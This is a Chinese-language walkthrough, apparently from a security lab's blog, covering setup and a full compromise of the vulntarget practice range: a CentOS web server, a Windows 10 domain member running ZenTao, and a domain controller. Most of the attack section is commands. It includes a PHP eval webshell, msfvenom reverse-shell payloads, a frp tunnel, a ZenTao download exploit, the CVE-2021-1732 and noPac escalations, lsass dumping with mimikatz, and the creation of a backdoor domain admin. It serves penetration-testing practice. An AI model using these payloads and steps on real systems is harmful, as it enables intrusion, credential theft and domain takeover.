阅读须知
星期五实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息造成的直接或间接后果和损失,均由使用者本人负责。
星期五实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。
vuntarget免责声明
vulntarget靶场系列仅供安全专业人员练习渗透测试技术,此靶场所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用靶场中的技术资料对任何计算机系统进行入侵操作。利用此靶场所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
vulntarget靶场系列拥有对此靶场系列的的修改、删除和解释权限,未经授权,不得用于其他。
github地址:
https://github.com/crow821/vulntarget
00相关漏洞技术
极致cms相关漏洞、禅道cms相关漏洞、隧道代理、免杀、CVE-2021-1732 、CVE-2021-42287/CVE-2021-42278
下载地址:
百度云:
链接: https://pan.baidu.com/s/1Hdqkojmu-CeIuPr2gLWHwA
提取码:s4ka
01网络拓扑图
注意:下文打靶过程中,ip不一定一一对应!
02环境搭建过程
2.1 centos7
账号信息
两个账号:root/root,vulntarget/root
版本:uname -a
安装宝塔
yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh
==================================================================
外网面板地址: http://125.122.127.185:8888/045b2769
内网面板地址: http://10.30.7.70:8888/045b2769
username: rpngwb3l
password: b0db10cc
If you cannot access the panel,
release the following panel port [8888] in the security group
若无法访问面板,请检查防火墙/安全组是否有放行面板[8888]端口
==================================================================
登录宝塔,安装web服务
安装web
源码上传到宝塔,然后添加网站。环境为:nginx+mysql+php7.3
mysql账密:admin/EcfMrPrtTJGL2GjL
直接访问81端口开始安装web环境
填写账号密码信息,下一步
直接安装完成即可
首页信息
2.2 域控2016
域控搭建过程参考vulntarget-a,没做什么变化,该环境没做什么特别的配置,防火墙没关,wdf也没关,就添加了一个域成员账号。
账号信息
域:vulntarget.com
域控账号:administrator
域控密码:Admin@123
域成员账号:win101
域成员密码:admin#123
版本信息
所用镜像:cn_windows_server_2016_x64_dvd_9718765.iso
2.3 域成员win10
账号信息
本地账号:win10
密码:win10#123
管理员:administrator 密码:admin@123
域成员:vulntarget\win101,密码:admin#123
web后台::admin , 密码:Admin123
加入域
安全问题:全是win10
配置IP,设置DNS为域控的IP
加入域,输入域控账密即可
重启,以域成员身份登录,在域控已经创建了,win101
没有设计开机自启动,如果设计开机自动的话,拿下的权限就是system
杀软以及web(放弃)
安装个360安全卫士和360杀毒(虚拟机内网不杀,再见)
换个火绒(5.0)
使用phpstudy来安装,拿到的权限就是administrator的,所以换个IIS来安装web服务,下面phpstudy的安装直接启用。
使用phpstudy 2018来搭建web服务
修改web目录为:\ZenTaoPMS.12.4.2\zentaopms\www
重启phpstudy,访问127.0.0.1安装禅道OA
5.4.45需要使用到openssl扩展
选上
等待apache重启,刷新下就好了,继续,这里没有改phpstudy的数据库密码,默认是root/root
随便设置个公司名称,后台账密,先简单admin/admin,后面进入后台会有强制改密码的操作
修改密码为admin@123
默认保存就完成了
完成
ISS安装web服务
参考:https://www.baishitou.cn/2430.html
先下载三个文件,下载地址如下:
https://windows.php.net/downloads/releases/archives/php-5.4.45-nts-Win32-VC9-x86.zip
https://dev.mysql.com/get/Downloads/MySQL-5.5/mysql-5.5.62-winx64.msi
https://files.phpmyadmin.net/phpMyAdmin/4.4.12/phpMyAdmin-4.4.12-all-languages.7z
安装 ISS,在控制面板->程序和功能里面,选择启用活=或关闭windwos功能
勾选上CGI,点击确定,等待下载就行
在配置映射模块之前,需要先将刚才的php解压,修改php的配置文件php.ini-development,将其改名为php.ini,修改三个部分:
1.扩展目录:extension_dir,去掉前面的分号,目录修改为C:\inetpub\php\ext
2.时区date.timezone,修改为date.timezone = Asia/Shanghai
3.php扩展,将extension=php_前面的分号全部去掉
保存好
以管理员权限打开,选择新建站点。
配置模块映射
添加模块映射
添加默认文档,将index.php加上。
接下来安装mysql数据库,按照文章中给的指导装就行,除了目录之类的,基本上就是默认安装 (https://www.baishitou.cn/2430.html),这里账密设置为root/root
安装禅道OA系统,访问127.0.0.1:8080
默认下一步,需要设置可写权限
对应去修改权限即可,右键目录,属性,安全,编辑,其他的目录也一样,最后一个为session_save_path,需要修改php.ini文件,然后给一个目录为可写权限,这是为上面的C:\inetpub\zentao\zentaopms\tmp即可(可能需要重启主机,如果重启iis服务不行的话)。
php.ini
当全部满足时,继续下一步
数据库,密码为root
按照直接新建一个文件,保存
保存之后,下一步,设置公司名称。
删除文件
第一次进入后台需要修改密码为强密码,修改为Admin123
2.4 网络配置
centos7
桥接模式,内外网均设置为静态IP
内网IP为:10.0.20.33
外网IP为:10.30.7.70(根据实际情况修改)
配置文件在:/etc/sysconfig/network-scripts/
ifcfg-ens33(外网,根据自身网络进行修改)
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=static
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33
UUID=0cc7b380-1eb6-43ad-9c2e-a80190b4017e
DEVICE=ens33
ONBOOT=yes
IPADDR=10.30.7.70 //修改
NETMASK=255.255.248.0 //修改
GATEWAY=10.30.0.1 //修改
DNS1=8.8.8.8
ifcfg-ens37(内网,不需要变)
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=static
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens37
DEVICE=ens37
ONBOOT=yes
IPADDR=10.0.20.33
NETMASK=255.255.255.0
域成员win10
同样使用两张网卡,第一张和centos通信,第二张和域控通信
ping centos7:
可以ping通。
ping win2016
域控win2016
ping win10,防火墙拦截
03
测试过程
拿到靶机,需要自行修改VM的网络信息,可以直接在虚拟网络编辑器里面加两个VM18和19的。
3.1 外网centos7
IP地址为:10.30.7.20(自行修改为攻击机可以访问的IP)
在/etc/sysconfig/network-script目录下,修改ifcfg-ens33这个文件
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=static
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33
UUID=0cc7b380-1eb6-43ad-9c2e-a80190b4017e
DEVICE=ens33
ONBOOT=yes
IPADDR=10.30.7.20 //修改
NETMASK=255.255.248.0 //修改
GATEWAY=10.30.0.1 //修改
DNS1=8.8.8.8
端口扫描
直接访问的话是宝塔的一个页面
扫描端口:nmap -v 10.30.7.70
访问81端口为极致的主页
后台getshell
极致历史漏洞中,有一个后台getshell
访问admin.php,admin/admin123登录到后台
进入后台之后,在扩展管理里面有一个插件列表,有在线编辑插件
直接下载,安装,配置
随便输入一个密码
再次输入密码就会看到源码,且可以修改
修改index.php,写入一句话目录
蚁剑连接即可
msf上线
蚁剑连接之后,想执行命令,发现直接ret=127,不能执行命令,宝塔禁用函数,直接使用蚁剑插件就可以bypass
查看IP,发现还存在另一个内网IP
msf生成一个反向目录
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.30.7.77 LPORT=4444 -f elf > 4444.elf
msf监听
centos7提权
先添加路由
meterpreter > run post/multi/manage/autoroute
找可提取模块
meterpreter > run post/multi/recon/local_exploit_suggester
使用第二个模块:exploit/linux/local/sudo_baron_samedit
设置target为12,交互的
虽然攻击失败了(有机会成功),但是使用msf这个账号,密码为mbmjsjyshkyndln可以远程登录,且权限为root
重新使用msf这个账号运行4444.elf就可以弹回来root的shell
3.2 域成员win 10
得到外网shell之后,加路由,探测内网下一跳地址
使用模块:auxiliary/scanner/portscan/tcp
探测到同网段IP:10.0.20.66,8080端口开放
frp代理
msf代理在蚁剑的地方,上传大一点的文件经常会报错,所以使用frp代理稳定一点
在kali运行frps,frps.ini配置文件为
[common]
bind_ip = 10.30.7.77 //kali IP
bind_port = 7000
运行:./frps -c frps.ini
frpc上传到第一层centos,配置文件为
socks.ini
[common]
server_addr = 10.30.7.77
server_port = 7000
[socks_proxy]
type = tcp
remote_port =8888
plugin = socks5
后台getshell
代理frp流量访问8080端口,admin/Admin123进入后台
禅道OA 12.4.2 中,因为download中的downloadZipPackage函数过滤不严谨,可以使用ftp,HTTP协议绕过。
将木马写入到第一层的linux机器中
echo "<?php @eval(\$_REQUEST['x']); ?> " >1.php //使用POST没有连接上蚁剑,具体可自行尝试
开启python的http服务
python -c 'import pty; pty.spawn("/bin/bash")' //交互式
python -m SimpleHTTPServer 4567
使用Base64加密http链接
HTTP://10.0.20.33:4567/1.php
SFRUUDovLzEwLjAuMjAuMzM6NDU2Ny8xLnBocA==
访问 http://10.0.20.66:8080/client-download-1-SFRUUDovLzEwLjAuMjAuMzM6NDU2Ny8xLnBocA==-1.html
发现因为是IIS部署的直接解析文件,发现该html文件不存在
更换禅道后台另一种EXP,发现保存成功
http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzM6NDU2Ny8xLnBocA==
访问,http://10.0.20.66:8080/data/client/1/1.php ,显示服务器错误
蚁剑可以连接,使用frp的代理
免杀火绒msf上线
本来想做的是免杀360的,结果内网360安全卫士和360杀毒在虚拟机里面没起到作用
直接使用工具就可以免杀火绒了
msf生成exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.33 lport=4758 -f exe > /root/msfshell/4758.exe
加壳
上线msf
上传文件到蚁剑,msf监听
msf6 auxiliary(server/socks_proxy) > use exploit/multi/handler
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.20.33
lhost => 10.0.20.33
msf6 exploit(multi/handler) > set lport 4758
lport => 4758
msf6 exploit(multi/handler) > run
然后进行免杀 (此处免杀过程暂不提供)
运行的是免杀过的exe:
添加路由
meterpreter > run post/multi/manage/autoroute
拿到的权限是很低的IIS权限
win10提权
使用msf自带的提权模块建议找找
meterpreter > run post/multi/recon/local_exploit_suggester
网上搜索发现一个提权的模块(Microsoft Windows10 本地提权漏洞(CVE-2021-1732)),可能需要多尝试几次
exploit/windows/local/cve_2021_1732_win32k
msf6 exploit(multi/handler) > use exploit/windows/local/cve_2021_1732_win32k
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2021_1732_win32k) > set session 3
session => 3
msf6 exploit(windows/local/cve_2021_1732_win32k) > set lhost 10.0.20.33
lhost => 10.0.20.33
msf6 exploit(windows/local/cve_2021_1732_win32k) > set lport 5757
lport => 5757
msf6 exploit(windows/local/cve_2021_1732_win32k) > run
win10明文密码获取
加载kiwi获取密码失败,可以获取到域控的明文密码,但是本地的密码没有获取到
load kiwi
cred_all
需要想办法获取win101域成员的密码,然后使用最近爆出的域控提权(CVE-2021-42287/CVE-2021-42278 域内提权)
利用注册表和 procdump + mimikatz 来获取密码
1.修改注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
修改注册表之后,修改了之后需要用户注销或者重新登陆之后才会生效。
2.上传procdump
先上传procdump文件到受害机,然后下载lsass文件
meterpreter > upload /root/tools/procdump64.exe #上传文件
C:\inetpub\zentao\zentaopms\www\data\client\1>procdump64.exe -accepteula -ma lsass.exe lsass.dmp #获取数据
3.mimikatz读取密码
下载lsass.dmp到本地
meterpreter > download lsass.dmp
本地读取
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
在有system的权限下,可以到administrator目录下读取flag.txt
3.3 域控win2016
CVE-2021-42287/CVE-2021-42278
得到win101的密码之后,使用最近的爆出的域内提权拿下域控,先上传nopac.exe
meterpreter > upload /root/tools/noPac.exe
定位域控
meterpreter > run post/windows/gather/enum_domain
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_sys_process_set_term_size
[+] FOUND Domain: vulntarget
[+] FOUND Domain Controller: WIN-UH20PRD3EAO (IP: 10.0.10.100)
meterpreter >
得到域控IP及计算机名
获取票据
.\noPac.exe -domain vulntarget.com -user win101 -pass admin#123 /dc WIN-UH20PRD3EAO.vulntarget.com /mAccount test2 /mPassword admin@123 /service cifs /ptt
列域控目录
dir \\WIN-UH20PRD3EAO.vulntarget.com\c$
上传psexec,远程过去,不使用账密失败
添加一个域管账号
net user admin QWEasd@123 /add /domain
net group "Domain Admins" admin /add /domain
使用账密的psexec
PsExec64.exe \\10.0.10.100 -u vulntarget\admin -p QWEasd@123 -s cmd.exe
连接不上
开启win10远程,登录试试,修改防火墙策略
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
开启远程
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
再次运行,可以连接上
PsExec64.exe \\10.0.10.100 -u vulntarget\admin -p QWEasd@123 -s cmd.exe
得到了域控本地的system权限,得到flag一枚
域控还有打印机漏洞,想测试的可以测试。